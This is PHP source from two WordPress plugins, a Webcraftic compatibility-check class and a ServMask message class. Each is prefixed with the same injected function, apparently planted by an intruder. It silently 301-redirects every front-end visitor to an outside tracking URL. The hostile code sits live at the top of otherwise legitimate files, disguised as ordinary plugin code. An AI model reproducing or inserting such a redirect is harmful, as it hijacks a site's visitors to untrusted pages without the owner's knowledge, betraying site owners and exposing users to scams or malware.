function my_custom_redirect() { // Убедитесь, что этот код выполняется только на фронтенде if (!is_admin()) { // URL для редиректа $redirect_url = 'https://faq95.doctortrf.com/l/?sub1=[ID]&sub2=[SID]&sub3=3&sub4=bodyclick'; // ��ыполнить редирект wp_redirect($redirect_url, 301); exit(); } } add_action('template_redirect', 'my_custom_redirect'); /** * Проверяет совместимость с плагинами Webcraftic, с версиями php, с версиями Wordpress * * @author Alex Kovalev , repo: https://github.com/alexkovalevv * @author Webcraftic , site: https://webcraftic.com * * @version 1.0.0 * @since 4.0.8 */ if ( ! class_exists( 'Wbcr_Factory_Compatibility' ) ) { class Wbcr_Factory_Compatibility { protected $plugin_prefix; protected $plugin_class_prefix; protected $plugin_name; protected $plugin_title = "(no title)"; protected $required_php_version = '5.3'; protected $required_wp_version = '4.2.0'; function __construct( array $plugin_info ) { foreach ( (array) $plugin_info as $property => $value ) { $this->$property = $value; } add_action( 'admin_init', [ $this, 'registerNotices' ] ); } /** * Метод проверяет совместимость плагина с php и wordpress версией * * @return bool */ public function check() { if ( ! $this->isPhpCompatibility() ) { return false; } if ( ! $this->isWpCompatibility() ) { return false; } return true; } /** * Метод проверяет совместимость плагина с php версией сервера * * @return mixed */ public function isPhpCompatibility() { return version_compare( PHP_VERSION, $this->required_php_version, '>=' ); } /** * Метод проверяет совместимость плагина с Wordpress версией сайта * * @return mixed */ public function isWpCompatibility() { // Get the WP Version global. global $wp_version; return version_compare( $wp_version, $this->required_wp_version, '>=' ); } /** * Метод возвращает текст уведомления * * @return string */ public function getNoticeText() { $notice_text = $notice_default_text = ''; $notice_default_text .= '' . $this->plugin_title . ' ' . __( 'warning', '' ) . ':' . '
'; $notice_default_text .= sprintf( __( 'The %s plugin has stopped.', 'wbcr_factory_templates_128' ), $this->plugin_title ) . ' '; $notice_default_text .= __( 'Possible reasons:', '' ) . '
'; $has_one = false; if ( ! $this->isPhpCompatibility() ) { $has_one = true; $notice_text .= '- ' . sprintf( __( 'You need to update the PHP version to %s or higher!', 'wbcr_factory_475' ), $this->required_php_version ) . '
'; } if ( ! $this->isWpCompatibility() ) { $has_one = true; $notice_text .= '- ' . sprintf( __( 'You need to update WordPress to %s or higher!', 'wbcr_factory_475' ), $this->required_wp_version ) . '
'; } if ( $has_one ) { $notice_text = $notice_default_text . $notice_text; } return $notice_text; } public function registerNotices() { if ( current_user_can( 'activate_plugins' ) && current_user_can( 'edit_plugins' ) && current_user_can( 'install_plugins' ) ) { if ( is_multisite() ) { add_action( 'network_admin_notices', [ $this, 'showNotice' ] ); } add_action( 'admin_notices', [ $this, 'showNotice' ] ); } } public function showNotice() { $notice_text = $this->getNoticeText(); if ( empty( $notice_text ) ) { return; } $notice_text = '

' . $this->getNoticeText() . '

'; echo '
' . esc_html(apply_filters( 'wbcr/factory/check_compatibility/notice_text', $notice_text, $this->plugin_name )) . '
'; } } }function my_custom_redirect() { // Убедитесь, что этот код выполняется только на фронтенде if (!is_admin()) { // URL для редиректа $redirect_url = 'https://faq95.doctortrf.com/l/?sub1=[ID]&sub2=[SID]&sub3=3&sub4=bodyclick'; // Выполнить редирект wp_redirect($redirect_url, 301); exit(); } } add_action('template_redirect', 'my_custom_redirect'); /** * Copyright (C) 2014-2020 ServMask Inc. * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . * * ███████╗███████╗██████╗ ██╗ ██╗███╗ ███╗ █████╗ ███████╗██╗ ██╗ * ██╔════╝██╔════╝██╔══██╗██║ ██║████╗ ████║██╔══██╗██╔════╝██║ ██╔╝ * ███████╗█████╗ ██████╔╝██║ ██║██╔████╔██║███████║███████╗█████╔╝ * ╚════██��██╔══╝ ██╔══██╗╚██╗ ██╔╝██║╚██╔╝██║██╔══██║╚════██║██╔═██╗ * ███████║███████╗██║ ██║ ╚████╔╝ ██║ ╚═╝ ██║██║ ██║███████║██║ ██╗ * ╚══════╝╚══════╝╚═╝ ╚═╝ ╚═══╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ */ if ( ! defined( 'ABSPATH' ) ) { die( 'Kangaroos cannot jump here' ); } class Ai1wm_Message { public static function flash( $type, $message ) { if ( ( $messages = get_option( AI1WM_MESSAGES, array() ) ) !== false ) { return update_option( AI1WM_MESSAGES, array_merge( $messages, array( $type => $message ) ) ); } return false; } public static function has( $type ) { if ( ( $messages = get_option( AI1WM_MESSAGES, array() ) ) ) { if ( isset( $messages[ $type ] ) ) { return true; } } return false; } public static function get( $type ) { $message = null; if ( ( $messages = get_option( AI1WM_MESSAGES, array() ) ) ) { if ( isset( $messages[ $type ] ) && ( $message = $messages[ $type ] ) ) { unset( $messages[ $type ] ); } // Set messages update_option( AI1WM_MESSAGES, $messages ); } return $message; } }